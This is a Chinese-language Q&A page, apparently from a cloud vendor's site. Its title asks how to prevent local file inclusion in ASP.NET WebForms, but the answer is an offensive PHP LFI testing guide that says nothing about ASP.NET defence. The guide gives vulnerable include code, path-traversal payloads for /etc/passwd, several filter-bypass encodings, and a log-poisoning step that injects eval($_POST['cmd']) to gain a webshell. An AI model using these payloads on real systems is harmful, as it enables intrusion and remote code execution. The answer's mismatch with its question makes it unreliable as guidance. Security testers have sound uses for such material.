You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何在ASP.NET WebForms中防范LFI本地文件包含漏洞

LFI漏洞实操测试指南及示例

存在LFI漏洞的典型代码示例

最常见的LFI漏洞出现在PHP开发的系统中,以下是存在漏洞的最简代码:

<?php
// 直接接收用户传入的page参数,未做任何路径校验就执行文件包含
$include_file = $_GET['page'];
include($include_file);
?>

当用户传入的page参数可控且无过滤时,就可以构造路径读取任意系统文件,甚至getshell。

实操测试步骤

  • 步骤1:定位可能的漏洞传参点
    优先排查和页面加载、路径读取相关的参数,常见参数名包括page、module、path、file、doc等,参数位置可能出现在URL查询串、POST请求体、Cookie值中。
  • 步骤2:基础有效性验证
    构造路径遍历payload读取系统通用文件,确认漏洞是否存在:
    • Linux系统测试payload:?page=../../../../etc/passwd
    • Windows系统测试payload:?page=../../../../windows/system32/drivers/etc/hosts
      如果页面正常返回上述系统文件的内容,即可确认LFI漏洞存在。
  • 步骤3:常见过滤绕过方法
    如果基础payload触发拦截,可尝试以下变种payload:
    • 双写绕过(适用于过滤../字符串的场景):?page=....//....//....//etc/passwd
    • 绝对路径直接调用:?page=/etc/passwd
    • 空字节截断(仅适用于PHP 5.3及以下旧版本):?page=../../../../etc/passwd%00
    • URL编码绕过:将../做URL编码后传入,单次编码为%2e%2e%2f,二次编码为%252e%252e%252f
  • 步骤4:进阶利用操作
    确认漏洞存在后可尝试getshell,最常用的是日志包含方法:
    先构造包含webshell代码的请求,比如访问?page=<?php eval($_POST['cmd']);?>,让访问日志写入这段PHP代码,再构造payload包含对应服务的日志文件即可,Apache服务默认日志路径通常为/var/log/apache2/access.log。

注意:所有漏洞测试必须在已获得正式授权的靶场或自有业务系统上开展,未授权测试属于违反法律法规的行为。

内容的提问来源于stack exchange,提问作者Sachin Reddy

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.10.07 14:06:04